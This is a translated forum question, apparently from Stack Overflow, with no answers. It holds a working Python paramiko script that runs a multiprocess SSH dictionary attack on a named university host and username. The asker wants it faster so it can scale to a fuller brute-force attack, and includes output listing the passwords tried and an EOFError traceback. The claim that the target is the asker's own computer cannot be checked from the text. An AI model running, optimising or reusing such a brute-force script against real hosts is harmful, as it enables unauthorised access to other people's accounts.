如何加速Python SSH字典脚本?

时间:2014-01-28 06:00:50

标签: python ssh multiprocessing

我有一个python脚本来字典破解它进入我的电脑。 Pass.txt包含10000个最常用密码的列表,但这些似乎都不太可能,所以我想知道如何加快速度。我目前正在使用30个流程,因为基于经验测试,这似乎是最快的文字。按照目前的速度,我可以在~14分钟内完成10000字。这远远不及将其扩展到更彻底的蛮力攻击所需的速度,所以我应该做出哪些改变? 此外,在尝试方法中,为了使计数正确递增,我必须使用+ =核心。但是如果30个进程正在运行该方法,并且每次都增加1,那么它是否会正确计算检查的密码数量?

我的代码如下:

import paramiko
from multiprocessing import Pool

count = 0
cores = 30
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())


def Attempt(password):
    global pool
    global count
    global cores
    global ssh
    try:
        print count, password
        count += 30
        ssh.connect('wl-10-191-20-76.wireless.duke.edu',
                    username='samadwara', password=password)
    except paramiko.AuthenticationException:
        pass
    else:
        print "Your password is: %s" % password
        print count
        pool.terminate()
        pool.join()

pool = Pool(processes=cores)
f = open('pass.txt', 'r')
pool.map(Attempt, f.read().split())

注意:这是出于教育目的。如果我只是想进入电脑,我会使用Hydra或其他一些预制程序。

此外,现在我得到一些奇怪的EOFError,但它仍然在文本文件的中间?知道什么是错的吗?

450 wang
420 italia
450 master1
420 engine
450 chris
420 butler
420 magic1
450 apollo
420 willis
450 victory
480 stoner
Traceback (most recent call last):
  File "SSH.py", line 30, in <module>
    pool.map(Attempt, f.read().split())
  File "/Applications/Canopy.app/appdata/canopy-1.2.0.1610.macosx-x86_64/Canopy.app/Contents/lib/python2.7/multiprocessing/pool.py", line 227, in map
    return self.map_async(func, iterable, chunksize).get()
  File "/Applications/Canopy.app/appdata/canopy-1.2.0.1610.macosx-x86_64/Canopy.app/Contents/lib/python2.7/multiprocessing/pool.py", line 528, in get
    raise self._value
EOFError
450 hawk

0 个答案:

没有答案